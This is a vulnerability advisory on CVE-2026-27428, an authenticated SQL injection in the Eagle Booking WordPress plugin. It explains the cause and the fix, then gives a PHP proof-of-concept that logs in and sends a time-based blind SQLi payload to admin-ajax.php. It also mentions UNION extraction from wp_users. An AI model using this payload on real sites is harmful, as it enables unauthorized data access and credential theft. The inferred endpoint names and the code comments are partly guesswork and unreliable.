Atomic Edge analysis of CVE-2026-27428 (metadata-based):
This vulnerability is an authenticated SQL injection in the Eagle Booking WordPress plugin, affecting versions up to and including 1.3.4.3. The flaw allows attackers with subscriber-level access or higher to append arbitrary SQL commands to existing database queries. This can lead to unauthorized extraction of sensitive information from the WordPress database.
Atomic Edge research identifies the root cause as insufficient escaping and lack of prepared statements for user-supplied parameters within a SQL query. The CWE-89 classification confirms the vulnerability is a classic SQL injection. Without access to the patched code, this conclusion is inferred from the CVE description stating ‘insufficient escaping’ and ‘lack of sufficient preparation.’ The vulnerable code likely passes user input directly into a SQL query string without using `$wpdb->prepare()` or proper escaping functions like `esc_sql()`.
Exploitation requires an authenticated WordPress session with at least subscriber privileges. The attacker likely targets a specific AJAX handler or REST API endpoint provided by the plugin. A common pattern is a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter containing a plugin-specific hook, such as `eagle_booking_action`. The attacker injects SQL payloads into another parameter, like `id` or `filter`, to manipulate the backend query. Example payloads include UNION-based queries or time-based blind SQLi techniques to extract data from the `wp_users` table.
Effective remediation requires implementing parameterized queries using WordPress’s `$wpdb->prepare()` method. The developer must identify all instances where user input is concatenated into SQL statements and replace them with prepared statements. Input validation using allowed data types should also be added as a secondary defense layer. A comprehensive fix must review all database interactions in the plugin.
Successful exploitation grants an attacker read access to the WordPress database. This includes sensitive data like user credentials (hashed passwords), personal information, booking details, and potentially other plugin-specific data. While the CVSS vector indicates no impact on integrity or availability (I:N/A:N), the high confidentiality impact (C:H) represents a significant data breach risk. Attackers could leverage extracted administrator credentials for further site compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27428 - Eagle Booking <= 1.3.4.3 - Authenticated (Subscriber+) SQL Injection
<?php
/**
* Proof of Concept for CVE-2026-27428.
* This script demonstrates authenticated SQL injection in the Eagle Booking plugin.
* ASSUMPTIONS: The vulnerability exists in an AJAX endpoint. The exact action name and parameter are inferred from plugin patterns.
* The target user must have a valid subscriber (or higher) WordPress account.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS
// Step 1: Authenticate and obtain WordPress session cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Craft SQL injection payload targeting the likely vulnerable endpoint
// Inferred AJAX action based on plugin slug 'eagle-booking'
$inferred_action = 'eagle_booking_filter';
// Injected parameter. Using a time-based blind SQLi payload for MySQL.
// This payload sleeps for 5 seconds if the first user ID is 1.
$sql_payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- ";
$post_data = [
'action' => $inferred_action,
'filter_id' => $sql_payload, // Parameter name is inferred; could be 'id', 'booking_id', etc.
// Nonce may be required; its absence could be part of the vulnerability.
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
curl_close($ch);
// Step 3: Analyze response
if ($elapsed >= 5) {
echo "[+] Potential SQL Injection successful. Response delayed by {$elapsed} seconds.n";
echo "[+] The '{$inferred_action}' endpoint may be vulnerable.n";
} else {
echo "[-] No time delay detected. The inferred endpoint or parameter may be incorrect.n";
echo "[-] Manual testing with different action names (e.g., eagle_booking_get, eb_action) and parameters is required.n";
}
?>
